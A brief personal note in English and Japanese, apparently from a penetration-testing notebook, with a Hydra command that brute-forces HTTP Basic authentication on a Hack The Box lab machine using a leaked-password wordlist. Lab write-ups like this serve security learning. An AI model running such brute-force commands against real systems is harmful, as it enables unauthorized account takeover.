Hydra http Basic authentication brute force

code:hydra

hydra -V -u -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -s 9001 -f 10.10.10.218 http-get /

最後はページのパスを指定する。

上記の例（HTB-Lunna）はhttp://10.10.10.218:9001/にアクセスするとBasci認証が要求されるからこのように書いてる。